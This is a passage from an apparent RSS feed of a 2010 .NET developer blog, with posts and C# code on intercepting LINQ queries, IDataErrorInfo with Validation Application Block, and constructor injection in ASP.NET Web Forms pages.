LINQ provider">this post of mine</a>.<a rel="external" href="http://stackoverflow.com/questions/4128640/how-to-remove-unit-of-work-functionality-from-repositories-using-ioc/4132186#4132186" title="Stackoverflow - How to remove unit of work functionality from repositories using IOC"> </a></p><p>Please note that LINQ to SQL actually <a rel="external" href="http://stackoverflow.com/questions/211875/linq-to-sql-mapping-enum-from-string" title="Stackoverflow - LINQ to SQL Mapping Enum from string">supports</a> Enum values, but still these transformation can be useful to create support for a large range of other interesting features. It would be nice to have a community site were developers can share extensions for rewriting Expression trees to add all sorts of new behavior to LINQ queries. The popularity of snippets could trigger Microsoft to add native support for these features in a next version of Entity Framework and LINQ to SQL.</p><p>I created an <span class="type">InterceptingQueryable</span><span class="code">&lt;T&gt;</span> that you can return in your code. The creation of the repository could look like this:</p><pre class="cs" language="csharp" customtypes="IQueryable Table InterceptingQueryable ExecutingQueryEventArgs Expression ServiceLocator ExpressionTransformer InterceptingQueryProvider IQueryProvider" customvaluetypes="PutYourCustomValueTypesHere">protected override IQueryable&lt;TEntity&gt; GetRepository&lt;TEntity&gt;()<br />    where TEntity : class<br />{<br />    Table&lt;TEntity&gt; table = this.db.GetTable&lt;TEntity&gt;();<br /><br />    var interceptor = new InterceptingQueryable&lt;TEntity&gt;(table);<br /><br />    interceptor.InterceptingProvider.ExecutingQuery +=<br />        TransformExpression;<br /><br />    return interceptor;<br />}<br /><br />void TransformExpression(object sender, ExecutingQueryEventArgs e)<br />{<br />    // replace the expression with a new one<br />    e.Expression = [Use Rogers code here];<br /><br />    // or you could even use a DI fx to get multiple transformations<br />    var transformers = ServiceLocator.Current<br />        .GetAllInstances&lt;ExpressionTransformer&gt;();<br /><br />    foreach (var transformer in transformers)<br />    {<br />        e.Expression = transformer.Transform(e.Expression);<br />    }<br />}<br /></pre><p>Here is the code for the <span class="type">InterceptingQueryable</span><span class="code">&lt;T&gt;</span>:</p><pre class="cs" language="csharp" customtypes="IQueryable Table InterceptingQueryable ExecutingQueryEventArgs Expression ServiceLocator ExpressionTransformer InterceptingQueryProvider IQueryProvider" customvaluetypes="PutYourCustomValueTypesHere">public class InterceptingQueryable&lt;T&gt; : IQueryable&lt;T&gt;<br />{<br />    private readonly IQueryable&lt;T&gt; wrapped;<br />    private InterceptingQueryProvider queryProvider;<br /><br />    public InterceptingQueryable(IQueryable&lt;T&gt; wrapped)<br />    {<br />        this.wrapped = wrapped;<br />    }<br /><br />    public Type ElementType<br />    {<br />        get { return this.wrapped.ElementType; }<br />    }<br /><br />    public Expression Expression<br />    {<br />        get { return this.wrapped.Expression; }<br />    }<br /><br />    public IQueryProvider Provider<br />    {<br />        get { return this.InterceptingProvider; }<br />    }<br /><br />    public IEnumerator&lt;T&gt; GetEnumerator()<br />    {<br />        return this.wrapped.GetEnumerator();<br />    }<br /><br />    IEnumerator IEnumerable.GetEnumerator()<br />    {<br />        return ((IEnumerable)this.wrapped).GetEnumerator();<br />    }<br /><br />    public InterceptingQueryProvider InterceptingProvider<br />    {<br />        get<br />        {<br />            if (this.queryProvider == null)<br />            {<br />                this.queryProvider = new InterceptingQueryProvider(<br />                    this.wrapped.Provider);<br />            }<br /><br />            return this.queryProvider;<br />        }<br />    }<br />}<br /></pre><p>The <span class="type">InterceptingQueryable</span><span class="code">&lt;T&gt;</span> uses a <span class="type">InterceptingQueryProvider</span> that allows you to hook on to:</p><pre class="cs" language="csharp" customtypes="IQueryable Table InterceptingQueryable ExecutingQueryEventArgs Expression ServiceLocator ExpressionTransformer InterceptingQueryProvider IQueryProvider" customvaluetypes="PutYourCustomValueTypesHere">public class ExecutingQueryEventArgs : EventArgs<br />{<br />    public Expression Expression { get; set; }<br />}<br /><br />public class InterceptingQueryProvider : IQueryProvider<br />{<br />    private readonly IQueryProvider wrapped;<br /><br />    public InterceptingQueryProvider(IQueryProvider wrapped)<br />    {<br />        this.wrapped = wrapped;<br />    }<br /><br />    public event EventHandler&lt;ExecutingQueryEventArgs&gt; ExecutingQuery;<br /><br />    public IQueryable&lt;TElement&gt; CreateQuery&lt;TElement&gt;(Expression expression)<br />    {<br />        return this.wrapped.CreateQuery&lt;TElement&gt;(this.Transform(expression));<br />    }<br /><br />    public IQueryable CreateQuery(Expression expression)<br />    {<br />        return this.wrapped.CreateQuery(this.Transform(expression));<br />    }<br /><br />    public TResult Execute&lt;TResult&gt;(Expression expression)<br />    {<br />        return this.wrapped.Execute&lt;TResult&gt;(this.Transform(expression));<br />    }<br /><br />    public object Execute(Expression expression)<br />    {<br />        return this.wrapped.Execute(this.Transform(expression));<br />    }<br /><br />    protected virtual void OnExecutingQuery(ExecutingQueryEventArgs e)<br />    {<br />        if (this.ExecutingQuery != null)<br />        {<br />            this.ExecutingQuery(this, e);<br />        }<br />    }<br /><br />    private Expression Transform(Expression expression)<br />    {<br />        var e = new ExecutingQueryEventArgs() { Expression = expression };<br /><br />        this.OnExecutingQuery(e);<br /><br />        return e.Expression;<br />    }<br />}<br /></pre><p>Cool! Happy querying!</p> ]]></description>
			<guid isPermaLink="false">83@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Databases, Entity Framework, LINQ, LINQ to SQL, O/RM, SQL</category>
			<pubDate>Thu, 11 Nov 2010 11:39:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Using IDataErrorInfo with Validation Application Block</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=82</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=82#comm</comments>
                        <description><![CDATA[ The IDataErrorInfo interface is a core part of the .NET framework and  both WPF and ASP.NET MVC use this interface for validation purposes. In  this article I will show how to build an abstract base class that  implements IDataErrorInfo in a way that Validation Application Block is  used under the covers.<p>Using the <span class="type">IDataErrorInfo</span> interface on domain or ViewModel objects is one of the ways to leaverage validation in UI technologies such as WPF and ASP.NET MVC. Having to implement that interface (with its properties) on each and every ViewModel or domain object however, is quite cumbersome and is certainly not <a rel="external" href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself" title="Wikipedia = Dont repeat yourself">DRY</a>. It is much more convenient to use a base class that implements everything you need. This way, instead of having to implement the complete <span class="type">IDataErrorInfo</span> interface, we can simply inherit from this base class:</p><pre class="cs" language="csharp" customtypes="Customer DataErrorInfo">public partial class Customer : DataErrorInfo<br />{<br />}</pre><p>Below is the code for the <span class="type">DataErrorInfo</span> class. If you look closely you will see a couple of interesting things. First of all, the <span class="type">IDataErrorInfo</span> interface members are implemented explicitly to prevent them from showing up using IntelliSense, because they have no other purpose than for validation by a UI technology. Next, the code uses VAB&rsquo;s <span class="type">PropertyValidationFactory</span> to ensure only the requested property is validated. Not only is this more efficient than validating the complete entity, it also prevents us from having to figure out which errors are caused by that particular property.</p><pre class="cs" language="csharp" customtypes="DataErrorInfo IDataErrorInfo Validator ReflectionMemberValueAccessBuilder PropertyValidationFactory PropertyInfo ValidationFactory DataErrorInfoHelper" customvaluetypes="ValidationSpecificationSource">public abstract class DataErrorInfo : IDataErrorInfo<br />{<br />    string IDataErrorInfo.Error<br />    {<br />        get { return DataErrorInfoHelper.GetErrorInfo(this); }<br />    }<br /><br />    string IDataErrorInfo.this[string columnName]<br />    {<br />        get { return DataErrorInfoHelper.GetErrorInfo(this, columnName); }<br />    }<br />}<br /><br />public static class DataErrorInfoHelper<br />{<br />    public static string GetErrorInfo(object entity)<br />    {<br />        var type = entity.GetType();<br />        var validator =<br />            ValidationFactory.CreateValidator(type);<br />        var results = validator.Validate(entity);<br />        return String.Join(&quot; &quot;, <br />            results.Select(r =&gt; r.Message).ToArray());<br />    }<br />    <br />    public static string GetErrorInfo(object entity,<br />        string propertyName)<br />    {<br />        PropertyInfo property =<br />            entity.GetType().GetProperty(propertyName);<br /><br />        return GetErrorInfo(entity, property);    <br />    }<br /><br />    public static string GetErrorInfo(object entity, <br />        PropertyInfo property)<br />    {<br />        var validator = GetPropertyValidator(entity,<br />            property);<br /><br />        if (validator != null)<br />        {<br />            var results = validator.Validate(entity);<br /><br />            return String.Join(&quot; &quot;, <br />                results.Select(r =&gt; r.Message).ToArray());<br />        }<br /><br />        return string.Empty;<br />    }<br /><br />    private static Validator GetPropertyValidator(<br />        object entity, PropertyInfo property)<br />    {<br />        string ruleset = string.Empty;<br />        var source = ValidationSpecificationSource.All;<br />        var builder = new ReflectionMemberValueAccessBuilder();<br /><br />        return PropertyValidationFactory.GetPropertyValidator(<br />            entity.GetType(), property, ruleset, source, builder);<br />    }<br />}</pre><p>When you are in the unlucky position of using Entity Framework 3.5 (my condolences btw), you are stuck to inheriting your entities from <span class="type">EntityObject</span> or <span class="type">ComplexObject</span>. In that case, you need to define the partial class as follows:</p><pre class="cs" language="csharp" customtypes="Customer IDataErrorInfo DataErrorInfoHelper" customvaluetypes="PutYourCustomValueTypesHere">public partial class Customer : IDataErrorInfo<br />{<br />    string IDataErrorInfo.Error<br />    {<br />        get { return DataErrorInfoHelper.GetErrorInfo(this); }<br />    }<br /><br />    string IDataErrorInfo.this[string columnName]<br />    {<br />        get { return DataErrorInfoHelper.GetErrorInfo(this, columnName); }<br />    }<br />}</pre><p>In other words, you can't inherit from a base type, but must implement <span class="type">IDataErrorInfo</span> directly and implement the interface members in each type. </p><p>Happy validating.</p> ]]></description>
			<guid isPermaLink="false">82@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Tue, 26 Oct 2010 18:08:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Dependency Injection in ASP.NET Web Forms with the Common Service Locator</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=81</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=81#comm</comments>
                        <description><![CDATA[ This article describes how to create and configure a custom PageHandlerFactory class that enables automatic constructor injection for System.Web.UI.Page classes. This keeps your application design clean and allows you to keep the application&rsquo;s dependency to the IoC library to a minimum.<p>When working with <a rel="external" href="http://en.wikipedia.org/wiki/Inversion_of_control" title="Wikipedia - Inversion of control">IoC</a> frameworks, one should always try to minimize the amount of application code that takes a dependency on that framework. In an ideal world, there would only be a single place in the application were the container is queried for dependencies. ASP.NET Web Forms however, was never designed with these concepts in mind. It therefore is tempting to directly request for dependencies in the Page classes instead of looking for a workaround. This is what a Page could look like without such a workaround:</p>  <pre class="cs" language="csharp" customtypes="_Default Page Samurai ServiceLocator">public partial class _Default : System.Web.UI.Page<br />{<br />&nbsp;&nbsp;&nbsp; private IUserService userService;<br /><br />&nbsp;&nbsp;&nbsp; public _Default()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.userService = ServiceLocator.Current.GetInstance&lt;IUserService&gt;();<br />&nbsp;&nbsp;&nbsp; }<br />} </pre>  <p>While this doesn&rsquo;t look that bad, it creates a dependency on an particular implementation and even when your calling an abstraction (as I do with the <a rel="external" href="http://commonservicelocator.codeplex.com" title="Common Service Locator">Common Service Locator</a> in the example) you might want to prevent this, because you&rsquo;ve still got a dependency and a bit of plumbing in each and every page.</p>  <p>The way to intercept the creation of Page types in ASP.NET Web Forms, is by replacing the default <a rel="external" href="http://msdn.microsoft.com/en-us/library/system.web.ui.pagehandlerfactory.aspx" title=".NET Framework Class Library PageHandlerFactory Class"><span class="type">PageHandlerFactory</span></a> implementation. While some think that automatic constructor injection is not possible with Web Forms, I will show you otherwise.</p><p>The code below shows my <span class="type">CommonServiceLocatorPageHandlerFactory</span>. This is a <span class="type">PageHandlerFactory</span> that uses automatic constructor injection to create new <span class="type">Page</span> types by using the Common Service Locator (CSL) interface. I deliberately use the CSL for this, because my <a rel="external" href="http://simpleservicelocator.codeplex.com" title="Simple Service Locator">Simple Service Locator</a> library depends on that interface. If you're not using the CSL, changing the code to work with your IoC library is can be done by changing a single line, as you will see below.</p><p>When using this custom <span class="type">PageHandlerFactory</span> the previously shown Page class can be changed to the following:</p>  <pre class="cs" language="csharp" customtypes="_Default Page Samurai">public partial class _Default : System.Web.UI.Page<br />{<br />&nbsp;&nbsp;&nbsp; private IUserService userService;<br /><br />&nbsp;&nbsp;&nbsp; protected _Default()<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; public _Default(IUserService userService)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.userService = userService;<br />&nbsp;&nbsp;&nbsp; }<br />}</pre>   <p>Please note that the page must contain the default constructor. The code compilation model that ASP.NET uses behind the covers, creates a new type based on the defined <span class="type">_Default</span> type. ASP.NET does this to allow the creation of the control hierarchy as it is defined in the markup. Because of this inheriting strategy, every Page class in your application must have a default constructor, although it doesn&rsquo;t have to be public.</p><p>Registration of the <span class="type">CommonServiceLocatorPageHandlerFactory</span> can be done in the web.config in the following way:</p>   <pre class="xml" language="xml">&lt;?xml version=&quot;1.0&quot;?&gt;<br />&lt;configuration&gt;<br />&nbsp; &lt;system.web&gt;<br />&nbsp;&nbsp;&nbsp; &lt;httpHandlers&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;add verb=&quot;*&quot; path=&quot;*.aspx&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type=&quot;CSL.CommonServiceLocatorPageHandlerFactory, CSL&quot;/&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/httpHandlers&gt;<br />&nbsp; &lt;/system.web&gt;<br />&nbsp; &lt;system.webServer&gt;<br />&nbsp;&nbsp;&nbsp; &lt;handlers&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;add name=&quot;CSLPageHandler&quot; verb=&quot;*&quot; path=&quot;*.aspx&quot;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; type=&quot;CSL.CommonServiceLocatorPageHandlerFactory, CSL&quot;/&gt;<br />&nbsp;&nbsp;&nbsp; &lt;/handlers&gt;<br />&nbsp; &lt;/system.webServer&gt;<br />&lt;/configuration&gt;</pre>   <p>Here is the code for the <span class="type">CommonServiceLocatorPageHandlerFactory</span>:</p>  <pre class="cs" language="csharp" customtypes="UserControl MethodBase Page Control SimpleInjectorPageHandlerFactory  CommonServiceLocatorPageHandlerFactory PageHandlerFactory ServiceLocator IHttpHandler HttpContext ConstructorInfo ActivationException" customvaluetypes="BindingFlags">public class SimpleInjectorPageHandlerFactory <br />    : PageHandlerFactory<br />{<br />    private static object GetInstance(Type type)<br />    {<br />        // Change this line if you're not using the CSL,<br />        // but a DI framework directly.<br />        return Microsoft.Practices.ServiceLocation<br />            .ServiceLocator.Current.GetInstance(type);<br />    }<br /><br />    public override IHttpHandler GetHandler(HttpContext context,<br />        string requestType, string virtualPath, string path)<br />    {<br />        var handler = base.GetHandler(context, requestType, <br />            virtualPath, path);<br /><br />        if (handler != null)<br />        {<br />            InitializeInstance(handler);<br />            HookChildControlInitialization(handler);<br />        }<br /><br />        return handler;<br />    }<br /><br />    private void HookChildControlInitialization(object handler)<br />    {<br />        Page page = handler as Page;<br /><br />        if (page != null)<br />        {<br />            // Child controls are not created at this point.<br />            // They will be when PreInit fires.<br />            page.PreInit += (s, e) =&gt;<br />            {<br />                InitializeChildControls(page);<br />            };<br />        }<br />    }<br /><br />    private static void InitializeChildControls(Control contrl)<br />    {<br />        var childControls = GetChildControls(contrl);<br /><br />        foreach (var childControl in childControls)<br />        {<br />            InitializeInstance(childControl);<br />            InitializeChildControls(childControl);<br />        }<br />    }<br /><br />    private static Control[] GetChildControls(Control ctrl)<br />    {<br />        var flags =<br />            BindingFlags.Instance | BindingFlags.NonPublic;<br /><br />        return (<br />            from field in ctrl.GetType().GetFields(flags)<br />            let type = field.FieldType<br />            where typeof(UserControl).IsAssignableFrom(type)<br />            let userControl = field.GetValue(ctrl) as Control<br />            where userControl != null<br />            select userControl).ToArray();<br />    }<br /><br />    private static void InitializeInstance(object instance)<br />    {<br />        Type pageType = instance.GetType().BaseType;<br /><br />        var ctor = GetInjectableConstructor(pageType);<br /><br />        if (ctor != null)<br />        {<br />            try<br />            {<br />                var args = GetMethodArguments(ctor);<br /><br />                ctor.Invoke(instance, args);<br />            }<br />            catch (Exception ex)<br />            {<br />                var msg = string.Format(&quot;The type {0} &quot; +<br />                    &quot;could not be initialized. {1}&quot;, pageType,<br />                    ex.Message);<br /><br />                throw new InvalidOperationException(msg, ex);<br />            }<br />        }<br />    }<br /><br />    private static ConstructorInfo GetInjectableConstructor(<br />        Type type)<br />    {<br />        var overloadedPublicConstructors = (<br />            from ctor in type.GetConstructors()<br />            where ctor.GetParameters().Length &gt; 0<br />            select ctor).ToArray();<br /><br />        if (overloadedPublicConstructors.Length == 0)<br />        {<br />            return null;<br />        }<br /><br />        if (overloadedPublicConstructors.Length == 1)<br />        {<br />            return overloadedPublicConstructors[0];<br />        }<br /><br />        throw new ActivationException(string.Format(<br />            &quot;The type {0} has multiple public overloaded &quot; +<br />            &quot;constructors and can't be initialized.&quot;, type));<br />    }<br /><br />    private static object[] GetMethodArguments(MethodBase method)<br />    {<br />        return (<br />            from parameter in method.GetParameters()<br />            let parameterType = parameter.ParameterType<br />            select GetInstance(parameterType)).ToArray();<br />    }<br />}</pre>  <p>This implementation does one sneaky thing to achieve it&rsquo;s goal. It is nearly impossible to instantiate the type our self, because that would mean that we need to rewrite the complete compilation engine of ASP.NET. Instead we delegate the creation to the <span class="type">PageHandlerFactory</span> base class. After the creation of this type (created using the default constructor) we search for an overloaded constructor on its base type (remember that ASP.NET creates a sub type), find out what arguments this constructor has, and load those dependencies by calling the Common Service Locator. After that we invoke that overloaded constructor. I repeat: <em>we call an overloaded constructor on an <u>already initialized</u> class</em>.</p>  <p>This is very sneaky, but works like hell. Besides initializing the <span class="type">Page</span> class itself, it will initializes all <span class="type">UserControl</span>s recursively.</p><p>A few side notes: Keep in mind that this <u>will</u> fail in partially trusted environments. When doing this in partial trust, there is no good feasible workaround. In partial trust there is not much else we can do than seeing the <span class="type">Page</span> as a <strong>Composition Root</strong> and calling the container from within the default constructor. Second note: This will only work for .aspx pages. For intercepting the creation of .ashx HTTP Handlers we will need to create a custom <span class="type">IHttpHandlerFactory</span>, which is new since ASP.NET 2.0. </p>  <p>Happy injecting!</p> ]]></description>
			<guid isPermaLink="false">81@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Dependency injection, Simple Service Locator</category>
			<pubDate>Sun, 03 Oct 2010 01:25:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Mixing Validation Application Block With DataAnnotation: What About SelfValidation?</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=80</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=80#comm</comments>
                        <description><![CDATA[ This article describes how to move the self validation methods of a type to its meta data type, using Validation Application Block 5.0. Using self validation methods inside Data Annotations' meta data type is something that is not supported out of the box.<p>The newest version of the Validation Application Block, version 5.0, now integrates with .NET Data Annotations (new since .NET 3.5 sp1). Data Annotations is a general model for annotating data using attributes, which is especially useful for validation. Attribute based validation is of course one of the options when doing validation using the Validation Application Block.</p><p>One of the nice things about Data Annotations is that it contains a feature called 'buddy classes', which allows you to put the validation attributes in a separate class that will function as meta data type. This is especially useful when dealing with auto-generated classes (think LINQ to SQL, Entity Framework). Validation Application Block 5.0 is now able to use this annotation model and we're therefore now able to do something like this with VAB:</p> <pre class="cs" language="csharp" customtypes="MetadataType PersonMetaData Person NotNullValidator" customvaluetypes="PutYourCustomValueTypesHere">// DataAnnotations Metadata attribute<br />[MetadataType(typeof(PersonMetaData))]<br />public partial class Person<br />{<br />    public string Name { get; set; }<br />}<br /> <br />public class PersonMetaData<br />{<br />&nbsp;&nbsp;&nbsp; // VAB validation attribute<br />    [NotNullValidator]<br />    public string Name { get; set; }<br />}</pre>  <p>This works great, but what about self validation? VAB allows methods to be placed on objects that allow custom validation logic that can't be written as custom attributes. How do we move this logic to the <span class="type">PersonMetaData</span> class?</p><p>The short answer is: you can't. VAB does not support this out of the box. However, for those of you who follow this series about the VAB, you already know by now that there is little that can't be done with the VAB with a bit of work.</p><p>Please note that I think that having such feature is probably only useful in a narrow range of scenarios, because self validation method can located in a partial class. For the sake of education and having fun with VAB, let's just do this anyway ;-) </p><p>This can be achieved by hooking into the framework using depedency injection and replace the existing <span class="type">AttributeValidationFactory</span> implementation. Below is a complete working example of how to do this with VAB 5.0 in three 'simple' steps:</p><ol><li>Change the signature of your validation methods.</li><li>Define a class that can replace the VAB's build-in <span class="type">AttributeValidationFactory</span>.</li><li>Reconfigure VAB in the start up path of your application.</li></ol><h4>1. Change the signature of your validation methods.</h4><p>Because self validation methods are instance methods they are able to validate instance fields on the validated type. When you move the validation method to the meta data type you loose this ability. So for this to work we'll have to change the signature of the validation method to at least contain the object to validate as method argument. When we make this validation method static we can prevent a new instance of the meta data type from being created during the validation process. Here is an example of a type that has its self validation moved to its meta data type:</p><pre class="cs" language="csharp" customtypes="MetadataType PersonMetaData Person NotNullValidator SelfValidation ValidationResults">[MetadataType(typeof(PersonMetaData))]<br />public class Person<br />{<br />&nbsp;&nbsp;&nbsp; public string Name { get; set; }<br />}<br /><br />public class PersonMetaData<br />{<br />&nbsp;&nbsp;&nbsp; [NotNullValidator]<br />&nbsp;&nbsp;&nbsp; public string Name { get; set; }<br /><br />&nbsp;&nbsp;&nbsp; [SelfValidation]<br />&nbsp;&nbsp;&nbsp; public static void SelfValidator(Person instance,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ValidationResults results)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // TODO: Your validation here.<br />&nbsp;&nbsp;&nbsp; }<br />}</pre><h4>2. Define a class that can replace the VAB's build in AttributeValidatorFactory.</h4><p>When using attribute based validation, the&nbsp;<span class="type">AttributeValidationFactory</span> type, that lives in the <span class="code">Microsoft.Practices.EnterpriseLibrary.Validation</span> namespace, is responsible for creating new validators based on the attributes you decorated. When we replace it with an extended implementation that is able to handle self validations on the meta data class. Here is my <span class="type">ExtendedAttributeValidationFactory</span> implementation: </p><pre class="cs" language="csharp" customtypes="ExtendedAttributeValidationFactory AttributeValidatorFactory IValidationInstrumentationProvider Validator ValidatorFactory AndCompositeValidator MetadataTypeAttribute ValidationResults ValidationReflectionHelper SelfValidationAttribute MetaDataSelfValidationValidator" customvaluetypes="BindingFlags">public class ExtendedAttributeValidationFactory :<br />    AttributeValidatorFactory<br />{<br />    public ExtendedAttributeValidationFactory(<br />        IValidationInstrumentationProvider provider)<br />        : base(provider)<br />    {<br />    }<br /><br />    protected override Validator InnerCreateValidator(<br />        Type targetType, string ruleset,<br />        ValidatorFactory mainValidatorFactory)<br />    {<br />        var baseValidator = base.InnerCreateValidator(<br />            targetType, ruleset, mainValidatorFactory);<br /><br />        var metaDataValidator =<br />            CreateValidatorForMetaDataSelfValidation(<br />                targetType, ruleset);<br /><br />        if (metaDataValidator == null)<br />        {<br />            return baseValidator;<br />        }<br /><br />        return new AndCompositeValidator(baseValidator,<br />            metaDataValidator);<br />    }<br /><br />    private Validator CreateValidatorForMetaDataSelfValidation(<br />        Type targetType, string ruleset)<br />    {<br />        var attributes = GetMetadataTypes(targetType).ToArray();<br /><br />        if (attributes.Length == 0)<br />            return null;<br /><br />        var flags = BindingFlags.Public |<br />            BindingFlags.NonPublic | BindingFlags.Static;<br /><br />        var selfValidators = (<br />            from attribute in attributes<br />            from method in attribute.MetadataClassType.GetMethods(flags)<br />            where method.ReturnType == typeof(void)<br />            let parameters = method.GetParameters()<br />            where parameters.Length == 2<br />            where parameters[1].ParameterType == typeof(ValidationResults)<br />            from methodAtrtibute in<br />                ValidationReflectionHelper.GetCustomAttributes(method,<br />                    typeof(SelfValidationAttribute), false)<br />                .Cast&lt;SelfValidationAttribute&gt;()<br />            where ruleset.Equals(methodAtrtibute.Ruleset)<br />            select new MetaDataSelfValidationValidator(method)).ToArray();<br /><br />        if (selfValidators.Length == 0)<br />            return null;<br /><br />        return new AndCompositeValidator(selfValidators);<br />    }<br /><br />    private static IEnumerable&lt;MetadataTypeAttribute&gt; GetMetadataTypes(<br />        Type targetType)<br />    {<br />        while (targetType != null)<br />        {<br />            var metadata = targetType.GetCustomAttributes(<br />                typeof(MetadataTypeAttribute), false)<br />                .FirstOrDefault();<br /><br />            if (metadata != null)<br />            {<br />                yield return (MetadataTypeAttribute)metadata;<br />            }<br /><br />            targetType = targetType.BaseType;<br />        }<br />    }<br />}<br /></pre><p>The <span class="type">ExtendedAttributeValidationFactory</span> class loops through all static methods of the meta data class and foreach method that follows the conventions and is of the correct ruleset, a new <span class="type">MetaDataSelfValidationValidator</span> is created. These are the conventions a validation method must follow:</p><ul><li>The method must be static.</li><li>The method must return void.</li><li>The method must contain two arguments.</li><li>The first argument must be of the validated type or a base type.</li><li>The second argument must be of type <span class="type">ValidationResults</span>.</li><li>The method must be decorated with the <span class="code">[</span><span class="type">SelfValidationAttribute</span><span class="code">]</span>.</li></ul><p>The <span class="type">MetaDataSelfValidationValidator</span> class enables validation of an object by calling the static self validation method of the meta data type. Here's the code:</p><pre class="cs" language="csharp" customtypes="MetaDataSelfValidationValidator Validator MethodInfo ValidationResults">public class MetaDataSelfValidationValidator : Validator<br />{<br />    private readonly MethodInfo methodInfo;<br /><br />    public MetaDataSelfValidationValidator(MethodInfo methodInfo) <br />        : base(null, null)<br />    {<br />        this.methodInfo = methodInfo;<br />    }<br /><br />    public override void DoValidate(object objectToValidate, <br />        object currentTarget, string key, <br />        ValidationResults validationResults)<br />    {<br />        if (objectToValidate != null)<br />        {<br />            this.methodInfo.Invoke(null, <br />                new object[] { objectToValidate, validationResults });<br />        }<br />    }<br /><br />    protected override string DefaultMessageTemplate<br />    {<br />        get { return null; }<br />    }<br />}<br /></pre><h4>3. Reconfigure VAB in the start up path of your application.</h4><p>Now we've written a new implementation of the <span class="type">AttributeValidationFactory</span>, we will have to replace the current implementation with this new one. We can do this by reconfiguring the Unity container (the standard IoC framework for EntLib) to return a new instance of the <span class="type">ExtendedAttributeValidationFactory</span> type when an <span class="type">AttributeValidationFactory</span> is requested by VAB:</p><pre class="cs" language="csharp" customtypes="IConfigurationSource UnityContainer UnityContainerConfigurator AttributeValidatorFactory ExtendedAttributeValidationFactory IServiceLocator UnityServiceLocator EnterpriseLibraryContainer">// Create the container<br />var container = new UnityContainer();<br /><br />// Configurator will read Enterprise Library <br />// configuration and set up the container<br />var configurator = new UnityContainerConfigurator(container);<br /><br />IConfigurationSource configurationSource = <br />    new NullConfigurationSource();<br />EnterpriseLibraryContainer.ConfigureContainer(<br />    configurator, configurationSource);<br /><br />container.RegisterType&lt;AttributeValidatorFactory, <br />    ExtendedAttributeValidationFactory&gt;();<br /><br />// Wrap in ServiceLocator<br />IServiceLocator locator = new UnityServiceLocator(container);<br /><br />// And set Enterprise Library to use it<br />EnterpriseLibraryContainer.Current = locator;<br /></pre><p>Happy self validating ;-)</p> ]]></description>
			<guid isPermaLink="false">80@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#, Enterprise Library, Validation Application Block</category>
			<pubDate>Sun, 12 Sep 2010 20:24:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Integrating Validation Application Block with ASP.NET part 2</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=79</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=79#comm</comments>
                        <description><![CDATA[ This post describes how to take integration of Validation Application Block with ASP.NET Web Forms to the next level by introducing extension methods that centralize the creation of PropertyProxyValidator controls and enable compile time support. This post build on the code in the previous article and allows users to define value conversions.<p>The code I presented in my <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=78" title="Integrating Validation Application Block with ASP.NET part 1">previous post</a> took integration between the <a rel="external" href="http://msdn.microsoft.com/en-us/library/ff664356%28PandP.50%29.aspx" title="Microsoft Enterprise Library 5.0 - The Validation Application Block">Enterprise Library Validation Application Block</a> and ASP.NET WebForms to the next level. There is one short come to this solution that you will soon notice; the <a rel="external" href="http://msdn.microsoft.com/en-us/library/ff664564%28PandP.50%29.aspx" title="PropertyProxyValidator">PropertyProxyValidator</a> throws an exception when trying to validate anything else than plain text. This is a problem the designers of VAB tried to solve. What they came up with was the <span class="code">ValueConvert</span> event on the <span class="type">PropertyProxyValidator</span>. When hooked to the <span class="type">PropertyProxyValidator</span>, the validator will route conversion of values to that event.</p><p>While this mechanism works fine, it has the same problem as I tried to solve in my previous article; It takes a lot of code to hook up, as you can see in <a rel="external" href="http://msdn.microsoft.com/en-us/library/ff664564%28PandP.50%29.aspx" title="Enterprise Library - Integrating with ASP.NET ">this example</a>.</p><p>I like to have an API were I can easily supply a conversion method and optionally supply an error message that should be displayed when the conversion fails. To be able to do this in a compile time friendly way, we need to alter the old API. The old API is used like this:</p><pre class="cs" language="csharp" customtypes="Person" customvaluetypes="PutYourCustomValueTypesHere">this.LastNameTextBox.AddValidatorFor&lt;Person&gt;(p =&gt; p.LastName);</pre><p>Now we want to allow a convertion method to be specified like this:</p><pre class="cs" language="csharp" customtypes="Person" customvaluetypes="PutYourCustomValueTypesHere">this.LastNameTextBox<br />    .AddValidatorFor&lt;Person&gt;(p =&gt; p.Age, Int32.Parse);</pre><p>This however, will not work, because of limitations of the C# compiler. We would have to rewrite the previous example as follows:</p><pre class="cs" language="csharp" customtypes="Person" 